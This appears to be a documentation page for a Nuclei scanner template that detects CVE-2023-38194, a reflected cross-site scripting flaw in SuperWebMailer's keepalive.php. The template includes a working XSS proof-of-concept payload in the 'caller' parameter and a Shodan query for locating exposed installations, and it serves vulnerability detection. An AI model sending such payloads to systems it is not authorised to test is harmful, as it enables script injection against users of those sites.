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SuperWebMailer - Cross-Site Scripting

ID: CVE-2023-38194

Severity: medium

Author: ritikchaddha

Tags: cve,cve2023,superwebmailer,xss

Description

Section titled “Description”

An issue was discovered in SuperWebMailer 9.00.0.01710 that allows keepalive.php XSS via a GET parameter.

YAML Source

Section titled “YAML Source”
id: CVE-2023-38194


info:
  name: SuperWebMailer - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    An issue was discovered in SuperWebMailer 9.00.0.01710 that allows keepalive.php XSS via a GET parameter.
  impact: |
    Successful exploitation could allow an attacker to execute malicious scripts in the context of a user's browser, leading to potential data theft or account compromise.
  remediation: |
    Implement input validation and output encoding to prevent XSS attacks in the SuperWebMailer keepalive.php script.
  reference:
    - https://herolab.usd.de/security-advisories/usd-2023-0013/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-38194
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-38194
    cwe-id: CWE-79
    epss-score: 0.00046
    epss-percentile: 0.15636
    cpe: cpe:2.3:a:superwebmailer:superwebmailer:9.00.0.01710:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: superwebmailer
    product: superwebmailer
    shodan-query: title:"SuperWebMailer"
  tags: cve,cve2023,superwebmailer,xss


http:
  - method: GET
    path:
      - "{{BaseURL}}"
      - "{{BaseURL}}/keepalive.php?caller=%22%3E%3Cimg+src%3d1+onerror%3dalert(document.domain)+%2F%3E&uq_mt=1664137650.085"


    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "<img src=1 onerror=alert(document.domain) />")'
          - 'contains(tolower(body_1), "superwebmailer")'
          - 'contains(header_2, "text/html")'
          - 'status_code_2 == 200'
        condition: and
# digest: 490a00463044022018fcce5ced09f7652fa37a432bd02fdedbb399518940cad65fe04feb3868604d02204c521512d8430e91b87454a51dd504c55cce9f79d40d87b54f2c5ed090fd4f6d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-38194.yaml"

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